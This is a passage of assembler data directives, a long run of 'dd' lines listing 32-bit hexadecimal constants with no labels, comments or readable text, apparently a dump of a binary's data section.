0E0182CC7h, 0DAD1626Ah dd 0F5BF79F4h, 0B910DF6Ah, 31472D76h, 642774A2h, 6B403888h dd 74B409Dh, 459DD57Ah, 1D78527Dh, 9386490Fh, 6F38B3F0h dd 0E99CFA07h, 0F02D7D5h, 7FC5CA9Dh, 0AD1DEB71h, 0E9D5333Eh dd 0DCDB1D46h, 476251D5h, 9DF3DF99h, 2845C2B2h, 8E40EE5Dh dd 5CC116AEh, 0EB8F4CB6h, 867C607Bh, 7F760C40h, 0DAEDA3A1h dd 0DAAB034Ah, 3F8AF850h, 5D8DE18Ch, 16C2CDEEh, 58957F9Dh dd 7C2DDF41h, 0EB95F06Bh, 92DD8375h, 84202D30h, 253B8D74h dd 122A2907h, 0E1790BC7h, 703BBC65h, 2FD1AD36h, 11C02AB5h dd 0B7B05A03h, 0B794C3EDh, 1569C23h, 739685CDh, 0FD5B5874h dd 242060FDh, 0B863EF73h, 0C687E54Ah, 6CAC9D4Eh, 432D8AC3h dd 22E70D89h, 0BC6ADB29h, 584C622Fh, 1B6542A0h, 1A3DDC7Ch dd 833A3471h, 6FDAEBC5h, 93987B74h, 0DE71E908h, 6EE09A31h dd 0A9B071A2h, 207061E7h, 0D315A015h, 3FF7B93Bh, 3B8A64A3h dd 0CFD465B5h, 98DC58C6h, 0CCD97473h, 3B7A8D4Eh, 0BFD885D1h dd 45D3A960h, 5628F9B1h, 0C4076F88h, 0CC073DF0h, 4F53E20h dd 9711D2C1h, 0C53BDD6Bh, 5C96255Dh, 1C290BA9h, 0AAAA29EEh dd 1EF03581h, 8B3402B7h, 0AE2AE047h, 0E3727FEDh, 0EDF2FE5Dh dd 0D84137C4h, 0D22666BFh, 0BA9AEC9Fh, 0D5292CE4h, 0F5142DE2h dd 0BF851E29h, 202ADD0Fh, 4A5A0FC7h, 47D42588h, 0A96028FDh dd 0CF67E383h, 0FC1B5251h, 0FE1679A1h, 2061950Ch, 3C6C0083h dd 9011439Eh, 0E0EC4DD4h, 54BA43C8h, 81850AAh, 72595653h dd 70AE5AFEh, 1D5F8448h, 0FA60E104h, 79902932h, 0A6D242F8h dd 66152DEDh, 0FFB1089Dh, 2BDD32EBh, 0C99D6740h, 0A67CEDA6h dd 0E68049A9h, 0E9337692h, 2232D115h, 8D4D7DC0h, 548282Bh dd 0A21419ADh, 0D52EB113h, 0AE5FFDF1h, 519B111Bh, 2374EB7h dd 0B6BAB898h, 42D4159h, 5B9B89C5h, 13032886h, 48701F78h dd 87FE035Dh, 0EE6D9E54h, 0ABD5E79Ah, 60B7E440h, 41CF2329h dd 2FCE0D1h, 460FAD23h, 0BA41E3C1h, 3912E711h, 347CA2FDh dd 1232CB58h, 0B8485F0Bh, 6790DDB9h, 5D9775E8h, 0AC2333D1h dd 3341E3FDh, 0ACF92EF3h, 0DB3BEB10h, 0A0EF9D8Ah, 0CA316941h dd 3C229BD3h, 99569671h, 9F554D40h, 0E7ADC11Dh, 450A80Ah dd 4D8CBF93h, 762311FFh, 6EF90992h, 54C1EDB2h, 0AAE321DEh dd 5ABE5219h, 0D836C616h, 7D8D015h, 9AF5A769h, 8A46E4D7h dd 74EFF121h, 8206F1FEh, 0B1A2F21Dh, 0D8A2E73Dh, 331513E5h dd 4573635Ah, 0E2E520ADh, 25ADC2B9h, 5EEA10D7h, 0B0A1C055h dd 0A60306BBh, 16B28087h, 1ADE89EEh, 0CA2B4B58h, 5CBCD8BAh dd 2AA347D1h, 7C9A9EF9h, 3B11503Dh, 0A3E2202Eh, 4F5D34B5h dd 9B32B088h, 716AAA65h, 505AA51Bh, 0B5DE0484h, 1D26AE4Dh dd 40AA29Ah, 0DBB6F6E1h, 40815F6Dh, 89F2C60Ah, 5EBD323Dh dd 652F0E82h, 0A92C5ECBh, 5FBAF720h, 65AA87F9h, 7808CBCh dd 36CDF5A8h, 32CD68EFh, 622EC95Eh, 5BEC70Fh, 4DB8B585h dd 412C7A73h, 5DE8FF72h, 8681221Bh, 0DA31CD6Eh, 456CB8E7h dd 0B67F01B2h, 31CFD32Ah, 83EB50CDh, 1A79581Ch, 3FFB1743h dd 28B769B6h, 54DEBAE0h, 27E95182h, 15155C03h, 973E3054h dd 4D7EA1A4h, 274BFBB7h, 7CCE5EA3h, 3DD281E6h, 5E5AFFBCh dd 8B21FB89h, 8E9D967Eh, 3FE3BDAh, 426F660Dh, 0DCF26073h dd 11D259A8h, 96FCADCDh, 9CC4A6B9h, 5F763993h, 429E1B99h dd 0B408931Bh, 2523C61Ch, 0AC6D733Fh, 0E563597Eh, 5EA30C9h dd 0BF958348h, 0C9B7F79Ch, 10EF2DEEh, 25DEFE4Dh, 10EB840Bh dd 5A11C6CEh, 4CB0BAF3h, 6424A279h, 221B7FD5h, 68B2319Ch dd 0A4643530h, 739EC79Dh, 98C0358Ch, 0EAA4AD6Ah, 6DEB1EDDh dd 5DC0897h, 791A4B71h, 85E890D9h, 0E4665B53h, 0F96F3FC3h dd 7573567Fh, 22A0B340h, 0FB72473Dh, 649D8B72h, 5BFBAB84h dd 27EC6D94h, 3101979Fh, 0FCA764F5h, 85970310h, 0F501442Dh dd 0F4746C1Dh, 1B2C4C58h, 7459FCA2h, 47060E72h, 0CC8ADC0Eh dd 0F08F4811h, 0B1829CCEh, 2D209A84h, 3FC70Eh, 8EFBC172h dd 2A1AE0BBh, 8519A60Ch, 4676094Dh, 823105A5h, 466CE819h dd 72E9FE40h, 494B48CFh, 0AEEA4EB1h, 0E6E9B9D1h, 20132460h dd 0AA33FA43h, 0B14CAB87h, 5B140379h, 0DC731A26h, 54D37FB2h dd 9942A61Ch, 8664DABFh, 5E1FCB07h, 9F1D6CDEh, 67B67613h dd 5C80359Ah, 53352888h, 8E2633C8h, 422600FFh, 0BF8AEC73h dd 5AB6D62Dh, 7EC9269Ah, 0F8D500FFh, 6E0A8028h, 0B4B4F84Eh dd 36F9337Bh, 7EF4997Dh, 0CC40CD91h, 6324B2A2h, 5FBAE4C5h dd 96A767A6h, 0BA8A2FC3h, 0D2232BD3h, 99103D55h, 0D43605EAh dd 5D2A9131h, 67AB7526h, 189600F5h, 216AE0B6h, 0B47985C8h dd 0A7A2ACFEh, 0AEF39319h, 4CE90DC1h, 4CF90DDDh, 4C050DD9h dd 700D0DD5h, 0BC0D3F74h, 0CB8500EDh, 0CE189AB4h, 0C282E2BBh dd 3B7EED3Fh, 2F7AED3Fh, 2776ED3Fh, 2372ED3Fh, 1F6EED3Fh dd 1B6AED3Fh, 1766ED3Fh, 1362ED3Fh, 0B5EED3Fh, 35AED3Fh dd 7B56ED3Fh, 7352ED3Fh, 674EED3Fh, 5B4AED3Fh, 4F46ED3Fh dd 0D1FB843Fh, 9E38F359h, 0A2130D41h, 0A6130541h, 0AA133D41h dd 0AF7A7156h, 0B37D2D35h, 0B77A4935h, 5E92253Dh, 7F4EE945h dd 7F56E941h, 7F5EE95Dh, 7F6AE959h, 5762EB55h, 0EA221D34h dd 0E2231934h, 56B7A9B4h, 64050101h, 5EB23BE5h, 5F38995Bh dd 662B4F7Dh, 6A2B8EB3h, 6E2B82B3h, 232386B3h, 5CF0F930h dd 4CBD0D09h, 4CC90D05h, 4CD10D01h, 0E2B5171Dh, 0E2E2B119h dd 0A4E6BC15h, 6E01DD43h, 6201D943h, 5A01A543h, 5201A143h dd 4A01AD43h, 4201A943h dd 0BA01B543h, 0B201B143h, 0AE01BD43h, 0AAFEB943h, 0A53EC0ECh dd 5C957DEDh, 0A61FBAB1h, 2CA5077Dh, 3E3F10BDh, 0A22D894Ch dd 96F89501h, 8F7E6657h, 0AC912BDCh, 0AC8D3899h, 0AC893881h dd 0C5670889h, 0BC996E01h, 0B49E6AB2h, 0A418C4FDh, 217E7561h dd 0C3867161h, 0F2367D57h, 0F6369D3Ch, 0FA36913Ch, 0FE36893Ch dd 0A4F08D3Ch, 4CA90D9Dh, 4CB10D99h, 4CB90D95h, 6AC10D91h dd 2C4D00FFh, 0B4C90BA9h, 0EF18CEEh, 2A412B7Dh, 2A3A6919h dd 2A366905h, 2A326971h, 2A2E6979h, 2A2A6965h, 2A26696Dh dd 2A226955h, 0D41E695Dh, 5D1D0362h, 5D190345h, 5D15034Dh dd 5D1100B5h, 0BB0D00BDh, 563397A9h, 5AB35544h, 229372B5h dd 0AF5EBC61h, 0F6EEE943h, 0EABBEABBh, 0DABBF6B9h, 0D2BBF2B9h dd 3EBBFEB9h, 3ABBFAB9h, 0DEBBC6B9h, 0BEDEF173h, 0B555FFCDh dd 0B447802Fh, 0BEF0B1C7h, 62C90C15h, 5D85D2BBh, 0E2EED943h dd 6BBA56Dh, 1AFF804Eh, 1E3DF001h, 5DBD3509h, 66B93171h dd 4BFAB1E1h, 3236E131h, 3632E562h, 46A26D51h, 0A61E8D54h dd 0AA26E2DDh, 0CA813DD9h, 6FBBE3B5h, 0D2313CD1h, 0D60831A1h dd 0AA3D93DDh, 209325E5h, 0B32609E1h, 0A17AA43Ch, 0A0552385h dd 17FB5799h, 0ACC1A50Eh, 0EAFB9BB0h, 0B195601Fh, 0A5C85B90h dd 93DE698Ch, 2A144903h, 54D13882h, 9C1E4461h, 4DC81FD7h dd 4C94CB2Ah, 554C3612h, 705E5C43h, 0C2114D4Ah, 0FB4D2F91h dd 4DF7B4E2h, 0FEEFF0A6h, 0B436C35Eh, 0BC15F10Eh, 522352C9h dd 0F1B1280Eh, 0F97D6C71h, 893038ABh, 0BF00D2EEh, 0B474E11Eh dd 0A8123C03h, 0AEECE40Eh, 1BB9E2B0h, 0BDCE6E6Ah, 0FC89E4F0h dd 0C2C7045Eh, 2E6C2662h, 0A268C360h, 88F0AC21h, 21CFE5E4h dd 0F59F9A9Ch, 8ADF6971h, 2D9D68B4h, 822952DFh, 0A623542Bh dd 50442811h, 0AD8F278Dh, 8B82ABC1h, 91A6A98Bh, 5DEC8921h dd 0BD6C5F60h, 0AEB501C7h, 3276241Bh, 0C776B399h, 6DD10E95h dd 8EE704B2h, 51130241h, 0AE843821h, 3633CFD2h, 0AF9BD0AAh dd 0B2F6F3DBh, 0F4193046h, 7199335Ah, 5F2BDBE1h, 5E3DAA91h dd 2C187C04h, 79034DFCh, 83D7CDD8h, 0C56B406h, 0FA2863F1h dd 0EDE33DA4h, 6BF6564Ah, 7DF2CB28h, 0DCA3FA13h, 1C9D091Dh dd 336D4838h, 0C16C3EEAh, 0D70A0E8Ch, 63ED8F4Ch, 819F1448h dd 36D39711h, 5D0D29AAh, 78208C2Fh, 259091A3h, 8345B26Bh dd 0A8AB2093h, 6EC1BBAEh, 0A3EFAAh, 0DAC1F9E5h, 2F2E83BFh dd 77EBF93Ah, 4AC7A121h, 9AD96980h, 9B35F43Dh, 472D9Ah dd 25C82799h, 0EA841512h, 0DB8C216Dh, 552AF238h, 0AEDCDEF5h dd 6A152350h, 98019B52h, 0B6E6143Ch, 852EA9A4h, 82B8B9B3h dd 0B4A5240Eh, 0B622D078h, 9B1175FFh, 6A12C18Ch, 83493923h dd 0EC6770CDh, 521AB1CBh, 3E43EC25h, 0DF0B3510h, 0B867899Fh dd 34460528h, 0B2CAFE41h, 0F778606Ah, 0FC6D1786h, 98D8F7ADh dd 420F845Eh, 609E10E9h, 30B9E13Bh, 0F0D1802h, 8212346Dh dd 9EEA7444h, 73C322DCh, 742D0C11h, 461C465Ah, 0C644CCA2h dd 860CBF72h, 0E68A674Dh, 8287292Ah, 0CB7D0A0Ah, 0AA583759h dd 0A5BB20D5h, 0E75A296Dh, 0B10F9BCh, 0FA8AE1BEh, 8222AC05h dd 92607E62h, 0ADA8F71h, 0A630B831h, 4DF754C3h, 0D88E7A71h dd 0B17F0185h, 3B0DE811h, 0AC48A5D9h, 6261E645h, 0E36FD7B0h dd 0A91A2629h, 0A9CA3CFh, 326423Dh, 4EF4E88Eh, 228D14CFh dd 6461F6B4h, 479DC941h, 5D6013D5h, 0D9FA302Eh, 0F2BB0CB9h dd 7932ADE7h, 5A11EA72h, 3A6E49Ah, 47A63919h, 31E96161h dd 43FAE932h, 0A6CAED09h, 0AA2571ADh, 72331228h, 50BBA87Eh dd 279D5817h, 0E1536E71h, 223E0F75h, 0A9FFD5C8h, 0A5BBEF4Bh dd 0ACFC3734h, 75B6CCA2h, 0B1FC657Dh, 0D960BCC8h, 2EC746C3h dd 0AD326F08h, 0C8E9FF62h, 4094BF50h, 7AEEFED2h, 9BBAC37Ch dd 0F8160C9Dh, 12F2C81Fh, 0D3BEE115h, 25C59476h, 6888F55Fh dd 76834241h, 45431D6Ah, 2A8D97B4h, 9364FDE6h, 9FFB7934h dd 0AA7671B2h, 0BA25819Dh, 1F2EB3C6h, 82F02347h, 0B07E4A52h dd 0F271FB52h, 26FD0DB1h, 9FF31573h, 42AAF892h, 921934F9h dd 0A6D416F6h, 37B9EC63h, 26E92B79h, 31AD0F86h, 4EB7B2A2h dd 2A3322EFh, 404FE4h, 0A0A93B55h, 42A719F1h, 0A59FF99Dh dd 9EDB3611h, 0EAAAA51Ah, 8DAB391Dh, 0BE924A11h, 5F1FF901h dd 52FA4149h, 0F76A87CCh, 1F67F0D7h, 8525352Dh, 948411F3h dd 0E9B9B8D8h, 8B4B5E56h, 83793BA1h, 0DB4E0E8Dh, 0F6BCAA5Ch dd 0FE94848Ch, 40184354h, 0FA37180Bh, 0B174969Dh, 106410ABh dd 427EEBB7h, 2F0FDB9Ch, 8882A754h, 0C86C2463h, 5B5AFE23h dd 82B1FFF6h, 27F02225h, 4CF22E61h, 20302075h, 4978681h dd 37C22E2h, 5831F5F5h, 83F06CFCh, 76DD31E3h, 0A100AFA4h dd 39A0D121h, 4F2C965Dh, 0C6F9413Fh, 7EF5D488h, 1BF94149h dd 7F77C31Dh, 1DF6B57Fh, 0D8D53551h, 5C377EC3h, 0BF88D53h dd 35F2DC31h, 45524F49h, 70E00D6Dh, 0DADF3203h, 6DFFEDB9h dd 41599438h, 8E86E06Ch, 5EEB32B5h, 82ADC91Eh, 39EA8D51h dd 68639056h, 655BDC91h, 0E031088h, 198074D7h, 0A88DD37Fh dd 0B02FE802h, 0C52A6A1h, 83EBA1FCh, 0AEA1CB30h, 0D540BC57h dd 0F138776Ch, 0B21D357Ah, 0AE69E988h, 8AE7A8C5h, 0BE565DFAh dd 0CAD747B0h, 0D9B1348Dh, 0FA0D0B55h, 68368A22h, 0B5508FBBh dd 5D3F057Fh, 712291B1h, 0B2E46265h, 58A5FE9Dh, 0D62ED11Fh dd 9D9D06B0h, 0A2D135E8h, 7CCE3165h, 67B63CAAh, 87291604h dd 9FC3DAFFh, 0D8F77A2Fh, 0FCB2FE90h, 0DBDB0CFDh, 0DC3D92B0h dd 7CD674D5h, 0E02A811Fh, 4D11B943h, 0D03C9C08h, 9D8C32B2h dd 9A1E8E20h, 0A084ED33h, 0E2C836E5h, 0BA7B0FE0h, 0E7C4A8A0h dd 6D1ACBA1h, 31CE66D9h, 7A92426Ch, 0DA966E1Ah, 9D65C1C6h dd 0F0B7FBB6h, 2F3E7ACh, 0AD72C363h, 0D275160h, 3C0A9D8Eh dd 94BBA9ADh, 0A2BEF83Fh, 533FB343h, 16CE9108h, 8539AE0Eh dd 235189Dh, 4CF7A213h, 0BB338CDEh, 7F5FE5BBh, 1F1E361Ah dd 82078E9Eh, 0CA2CC2EBh, 0A3B877A6h, 0BDFCB50h, 0CEBAE9B9h dd 0D343EDCDh, 0F1A462B2h, 1B13A973h, 87826D58h, 0DC0ABDAFh dd 0D93AAAFCh, 0C8A00E35h, 0B1D7229Ah, 19076AACh, 0BB6DAC1Ch dd 0E1F18EDEh, 0EEA34DFh, 0BC9641A0h, 0A3130032h, 6FFCBDB6h dd 27C968E6h, 0D16A331Ah, 80B36B21h, 0D922CAC4h, 0BEB938C6h dd 413B3944h, 97D800C7h, 19E592CCh, 74A528CDh, 413393A0h dd 0BE3770AFh, 0E643A8C3h, 77533591h, 0A76468CDh, 41F8529Ch dd 61942A2Ah, 37E70985h, 6DF8CCFFh, 96CEFB5Dh, 1C6B87E6h dd 0AE0FAA0Fh, 0AC15E423h, 4D555B05h, 2EC97FEFh, 0BBBD3F5Eh dd 2409905h, 1E01CAC5h, 0AC31275Eh, 25238AF8h, 45DA7602h dd 4123DF4h, 37F9342h, 5C327149h, 668A731Bh, 53DB3E20h dd 45263401h, 0EED8F36Ch, 576AFBCAh, 0D3CD7B53h, 45298980h dd 0F95B78BFh, 0E0EED66h, 0A614D15Ch, 36738F6h, 1233326Eh dd 0DBAEA970h, 105D3A5Ch, 43C88ABBh, 0A138E79Ah, 0A823CA1Dh dd 3B0480B2h, 0D4212729h, 0CE1F938Eh, 43589873h, 466022B3h dd 24071A8Ch, 4A09F173h, 0F08DABEBh, 1E604CD3h, 5CF6253Fh dd 7E21E321h, 17F51568h, 0F7C4A20h, 977F2A62h, 6298D42Bh dd 0BAEDEA51h, 7CE7F558h, 0CD6AA767h, 53E8CB1Ah, 8533F91Ch dd 0B6F9F3E7h, 74B13FF0h, 0BB9A435Dh, 53FE8D81h, 94FCFA2Eh dd 0AEAA62B7h, 957D0C1Ah dd 0F87BF4B3h, 8C305B03h, 11D5458h, 7EDCFF41h, 68A455FBh dd 0E20EF8AEh, 0FC10962Dh, 9FBB1651h, 9D12B1BAh, 1B39043Ah dd 3D58AC63h, 0EEEC19D9h, 3DBB854Eh, 6ABB97Ch, 63DA7791h dd 0D11A7C98h, 0A74C76BAh, 58D666AAh, 9938B5EFh, 0BE0103F2h dd 0BC190143h, 40FECD1Bh, 0B35D2C21h, 4FA3857Bh, 5F24E956h dd 0BDFC5EE9h, 0B382C7B5h, 5A7EE6B4h, 1EB8E44Dh, 0CAF68961h dd 0A96EA4h, 509B9D4Fh, 45023331h, 3B10982Bh, 19597960h dd 6CA583D8h, 833ED420h, 0F476CA39h, 71D6E6B1h, 7565030h dd 8B197762h, 0F5169E65h, 0B3F65574h, 431B63Ah, 7184B8E1h dd 0AF5ACF0Dh, 86202AAAh, 58930E50h, 0EEC2B00h, 42A6295Dh dd 46BE16EEh, 53252953h, 6ACE3941h, 1C6D2C89h, 15EF179Ch dd 0ACD78C92h, 0B03903BBh, 0CE96059Dh, 6BF28256h, 0DD5DC7E8h dd 86FE2FE5h, 6A810E35h, 0B969D3A6h, 0BBF15545h, 0EAF56EFDh dd 6DEBC53Dh, 881F4A5Fh, 2E469ABCh, 9B8459E0h, 10471A44h dd 0FF57D160h, 138E019Bh, 0CA62EC38h, 3DF409AEh, 128B0E06h dd 2BD39C67h, 0A6D894E3h, 0BABEFD51h, 73E861FEh, 251771DEh dd 263BF9B3h, 0D2FE9070h, 9E5A0AABh, 0A4FA1F0Eh, 0F4896F6Ah dd 0E9BE3664h, 37640066h, 5A062083h, 0F792C1Bh, 53812C7Eh dd 70C2E910h, 2208EEF1h, 0A6FDD058h, 589CB50Fh, 0FD5AF3BCh dd 1E0B3FCEh, 0A2C0AB98h, 0FD2AD32h, 1EC98D71h, 1C1DFF11h dd 0D9A3DA7Fh, 0CC353AC4h, 0DA76901Ch, 461FEAB6h, 0DD79020Eh dd 0EEC10CB6h, 63326DACh, 4FA4F0E7h, 8F678B4Dh, 0D1A6F4CFh dd 0E3D2BA1h, 0FF5E2E9Fh, 0AC23DDA3h, 5B33A748h, 731E1D83h dd 91DB3443h, 968D5E99h, 0E9D5558h, 0E4ECBF6Dh, 59236801h dd 0E61A9331h, 0BBD90121h, 67CA5865h, 0C17BBA21h, 930530FDh dd 854B21h, 0DF469E44h, 5E7A2FF3h, 2F3F273Ah, 83F48473h dd 0DD4F0972h, 0D8B82173h, 0B4D032Fh, 2D1EADBBh, 0E49B99BCh dd 53C07C03h, 0CB675845h, 1E408141h, 0DF4FB156h, 0AE46BC65h dd 801653C0h, 823C7685h, 0E4489C5Ch, 724834FCh, 701F5599h dd 5C937072h, 0F585D50h, 57CA010h, 0C1FF1A1h, 8A32D5D1h dd 92E8EDB8h, 64C40BEEh, 967780AAh, 82342AC0h, 0D5DA3DF1h dd 0BB487C80h, 0E2DFA287h, 0BFDF1484h, 0DF6870E1h, 57806FFh dd 35FF45B5h, 253DA5A5h, 7F1148E2h, 4B389FA0h, 63A7A9B1h dd 0BB55C134h, 0D852A364h, 9FA78DFDh, 5BD82528h, 0F19D1D38h dd 5249DD2Ah, 0A42271FBh, 6ABB2DE6h, 3D4B0DA7h, 4109BD2Bh dd 0B3487884h, 163AD7A9h, 0ED3B6E77h, 126D1401h, 451D7F59h dd 573564BDh, 0B6FFAF27h, 63AD315Ah, 823BB235h, 2C66DCB9h dd 0BFB5A1D3h, 106D2D6Ah, 47529019h, 80350C41h, 69B84EAh dd 3A30F80h, 6CB9CF61h, 4D30B930h, 0D0434AFCh, 27C119B7h dd 65CE917Dh, 4AE695A0h, 0ACCE2993h, 5B4B2C22h, 41BA3412h dd 4DEA0A4Eh, 47961BB1h, 9A098A27h, 0AEDD3DB6h, 4B50BE16h dd 705B7256h, 0C030CA4Bh, 0A2687BBh, 2518E926h, 564EC438h dd 4ACC74A3h, 0B2BF656Ch, 0DC46E149h, 47224A25h, 9DEB53Ah dd 0B198A82Eh, 630508B5h, 0FA5F18F6h, 0E48B3950h, 0DC5A2A8Dh dd 112EC7A2h, 63555B39h, 0A6F2C91Bh, 24E54927h, 1F2A54B5h dd 0ABF82D1Dh, 7CCACD9Fh, 0A7CF274Dh, 4D1F598Eh, 8318D799h dd 0BF8D22D3h, 5FBED781h, 85530BE4h, 22EE804h, 210129F9h dd 387A62B5h, 0CEDAB82Ah, 0AABC06BDh, 12CB69D9h, 3200CEB5h dd 0CC405AB5h, 0A9EE3831h, 0EDD04BDh, 60A7961h, 2513E33Fh dd 52095241h, 3F2B3EF1h, 231AD6Ah, 0AFA60371h, 94765CBDh dd 61643575h, 5E06A9F9h, 20111903h, 51BB9A63h, 0A2846722h dd 0AAA40E7Ch, 7EAF278Dh, 98222864h, 383C499Dh, 0AAEA3C97h dd 0EE610332h, 9D54A80Eh, 2E2D48CEh, 7364077h, 0A71B3E20h dd 0AB2667F3h, 0A3441977h, 0F9F2821Fh, 829EADEDh, 446755EEh dd 85BB360Ch, 0FAE0E0D6h, 0B6193018h, 0FB8C4EB6h, 9116C563h dd 0B13EF04Ch, 9136CB2Ch, 0F7550E73h, 2F7128FCh, 538AF2A1h dd 403ABC3Fh, 8ABFD65Dh, 5D3A93E3h, 0FBEEA667h, 41A2EB6h dd 501F0153h, 0C6BE4FCFh, 32326E75h, 6EDA52B3h, 677FEDD5h dd 5EBB1EE2h, 4C76EB4Eh, 647A5372h, 16CB077Bh, 3EDA92B0h dd 2CB30052h, 0B7E52041h, 0ABD7AD1Dh, 443821A3h, 751A0029h dd 0E2FE70FAh, 0DAC7F10Bh, 2301D482h, 2A559FF2h, 2443D063h dd 60593586h, 0CF0BA9C9h, 0FA649C6h, 41F69342h, 0EFDE5E45h dd 554302A6h, 0B6946C6Dh, 55AA2B6h, 136D83CAh, 0FCDE218h dd 75B5D330h, 52DD3FBDh, 5923F9FDh, 772CEA0h, 0DD56AC44h dd 76B2736Dh, 0BB3702D7h, 5BA70343h, 453F4002h, 4CEB6081h dd 0BB7F159Ah, 3DC85D02h, 0A360060Eh, 22005C49h, 0F816B2Dh dd 0B5032EBAh, 1EA0B11Dh, 136092D4h, 61C483E6h, 0B3724F6Ah dd 0F916B4B6h, 0F886579Ch, 0FA709358h, 0AFA2CE6Ch, 206319Fh dd 3D0D89FBh, 4854AD1Bh, 3D8EF027h, 75F41569h, 0AEE05E51h dd 667759B9h, 0FC6B571Bh, 560F2620h, 0DD6F2A83h, 0ABA93F9Fh dd 125B7FEFh, 7B46A9BCh, 0DAD02C0Ch, 9944254Eh, 359D7211h dd 6CD23D62h, 0F9264AC5h, 0CBC416E8h, 6172C12Dh, 0F3529B9h dd 0B3F3FE67h, 6C6D8DC5h, 425A903Dh, 0C7D698B2h, 26183122h dd 0F9D9B50Eh, 57C25B79h, 793E6811h, 0D31C490Fh, 3708E431h dd 0AC755E7Bh, 0DF060995h, 0D329D0F7h, 262A1899h, 781165B1h dd 9BF0938Ah, 23F1ECB5h, 32D095D5h, 0FBF9817Ch, 0D8951138h dd 0A532D430h, 0DCF524C1h, 0FA2344B5h, 0CAA7EA1Ch, 0F9ECA2B6h dd 65609624h, 0F6EBA32Ch, 4B21E8BBh, 63F3FA57h, 0CD56A6A6h dd 6C2A3C3Ch, 5BD15528h, 26EF5156h, 2531404Ch, 65874756h dd 0F2A790EDh, 0BA38D28Bh, 762B9186h, 0A66F7D0h, 0F7C31326h dd 0A5877240h, 1599E6BBh, 5CA3C0A9h, 4CB89830h, 353AD452h dd 8E86315Dh, 0FFFEEB84h, 0E3233Ch, 3A7D52A2h, 45CB5B6Dh dd 22E2F379h, 1F1F6852h, 0F765B18Ah, 0E5FFB5A7h, 0BA2BDCF5h dd 0AEFF5A22h, 33B83FA3h, 0C3EBE2C3h, 0A9374F5Dh, 42CE0F3Fh dd 0B95A3B9Bh, 134B5DB4h, 9A6DB1EBh, 3B48ED77h, 0AA1175E9h dd 0A3114E0Bh, 265C2534h, 0BC9E0064h, 7DFB7A74h, 43998AA0h dd 0C2C12FF4h, 30437345h, 1CBD01BBh, 0DD09E146h, 658549A2h dd 0FA362D5Eh, 250D1DA7h, 65B7E465h, 0FE3437F7h, 83BCB2F0h dd 8BA0F0CEh, 0EB79807Fh, 0B3E411E1h, 0B0AC8CE9h, 7593EE52h dd 4B4C2AEFh, 0DCD8AFDCh, 57BEAB78h, 0A4093B24h, 630F4C3Dh dd 2A16C1DCh, 36D6673Dh, 4B8B025Eh, 85E922h, 0ECCEE5E5h dd 0B01ECDB2h, 0A04AEDA5h, 650CDF0Ch, 0C0344BEDh, 0E2191C75h dd 0AA0BF749h, 928305B1h, 25EB2459h, 84943BC8h, 0B2580829h dd 0BF110F56h, 0E0EBB435h, 4FF9C6DFh, 4BF1D393h, 0BC89C121h dd 26015EB9h, 6AFC23E6h, 0CFA6497Fh, 744D1BA5h, 63C0FBB6h dd 0EBD24869h, 22C21DDFh, 0A32F0F3Ah, 843AF46Ah, 8911A068h dd 4A23029Ah, 3A92B2E8h, 60BFE2DDh, 0B60EB4D0h, 0B87819DEh dd 1C7E20A2h, 88FDEDA7h, 1D060612h, 0ACDED600h, 7D966434h dd 1F7B66C1h, 4EF2956Eh, 468D39CCh, 4F5703Dh, 6E1C217Eh dd 0A459C30Dh, 3F9AD2AEh, 0FC31333Ah, 97F3ACB4h, 44383F6Fh dd 0D6B9D9EEh, 0AAC7D554h, 62DA5E65h, 74813C59h, 0A2B082E8h dd 66479DC8h, 0FE0AE38Eh, 292F333h, 3A4B3EB5h, 82034DD9h dd 2C1BBC29h, 9E3313Dh dd 0A72CC408h, 822D8D39h, 0B04A9224h, 22F36CD0h, 0B0FEFD6Fh dd 7285E236h, 0F38E5350h, 1B7C2A2Ch, 53CC143Ch, 6FDD194Fh dd 0A3D391FBh, 65AB6D9Dh, 0C6BEF969h, 5A5861h, 5F100ED4h dd 0C60A3125h, 5591BF85h, 0A2B18907h, 6901D025h, 277E5A88h dd 0EB3DEAF2h, 0D8FFB960h, 547EDE6h, 47F9AE7Fh, 7B811B54h dd 0FA8011D8h, 4220071Bh, 0D7C14161h, 0F2A6267Dh, 85E5B901h dd 24DAEEBDh, 5EBD3E10h, 0AF9699Ch, 7D1EF921h, 0B659AB88h dd 0E3D914ACh, 9CD043Dh, 433DE221h, 22173D5Dh, 2F91F1BBh dd 669B02C4h, 36865A21h, 0F806B1Dh, 0AB4C9B4Fh, 8D0494Ah dd 851FC7BCh, 724BD348h, 0B4B13E33h, 0E552727Dh, 1878EFB5h dd 0BD6086F7h, 71F490A1h, 0DEA3C6E8h, 369F0BBDh, 8B7A8878h dd 9BCE28D6h, 0D2D74948h, 0AA1EB343h, 52C2A3ABh, 61FAF156h dd 0A2BBD345h, 0CFE90305h, 10D9AF11h, 575AE30Dh, 0A9C13BF9h dd 40A09430h, 0BAC993A8h, 0E1CDDF45h, 61B6A7F4h, 4BD8125Ah dd 0E11CE96Ch, 0D6C514A0h, 0BF302250h, 0AF230D10h, 5E10DB90h dd 4ABB5F4Bh, 0AEFF319Dh, 2227ADFFh, 1D190136h, 0B4E64A22h dd 5614ED4Ch, 9FCE17A5h, 85EAC51Bh, 0D83428A2h, 6220A9E5h dd 36FCEE0Bh, 5D2BF177h, 5584359Dh, 70D31505h, 69EE6F35h dd 0C346C799h, 0CECA637Fh, 0CBB30D63h, 18312898h, 0AB422FC4h dd 0A01B6396h, 0C7E73D35h, 854C75D7h, 0E3532ADh, 0A2BBB3BBh dd 1A582FB2h, 35053FE9h, 0C055CE48h, 0B5415F09h, 8CC243C6h dd 56A63E97h, 82FB8DACh, 0CEDEFFh, 6D2EDC43h, 0B63AC570h dd 79B8E213h, 237AD4E5h, 0DEA5F5E7h, 7BB898B3h, 0A2D63903h dd 0C08DBB4Fh, 0D45000EEh, 27810549h, 0D4F025F5h, 8535624Dh dd 90D69C0Ah, 865F4858h, 9DD8A81Eh, 1F7FFF4h, 6AC5003Ch dd 4B5E16ACh, 0E4A1D619h, 0BAA3F8C4h, 0E410567Eh, 3E49532h dd 24CBF2E9h, 2349DC3Ah, 90155E69h, 8280FF7h, 63EDCCECh dd 0B97091B2h, 21ED95E5h, 0D9F07D81h, 0CB468CC8h, 60DD8579h dd 56FF74ADh, 8F5E236Bh, 2F45E1A4h, 27B830BCh, 0D8B84AF1h dd 57AF6E42h, 429973E2h, 91FFE5A6h, 0EFD08AABh, 0AB31FDE3h dd 73033EB2h, 26999E51h, 41B62E9h, 533316A0h, 8652C305h dd 2295B89Eh, 0F5812C31h, 9D48D514h, 96E62272h, 834D2CBCh dd 0DC09EBEAh, 7264B8F1h, 0FB8230ADh, 0FD8188B1h, 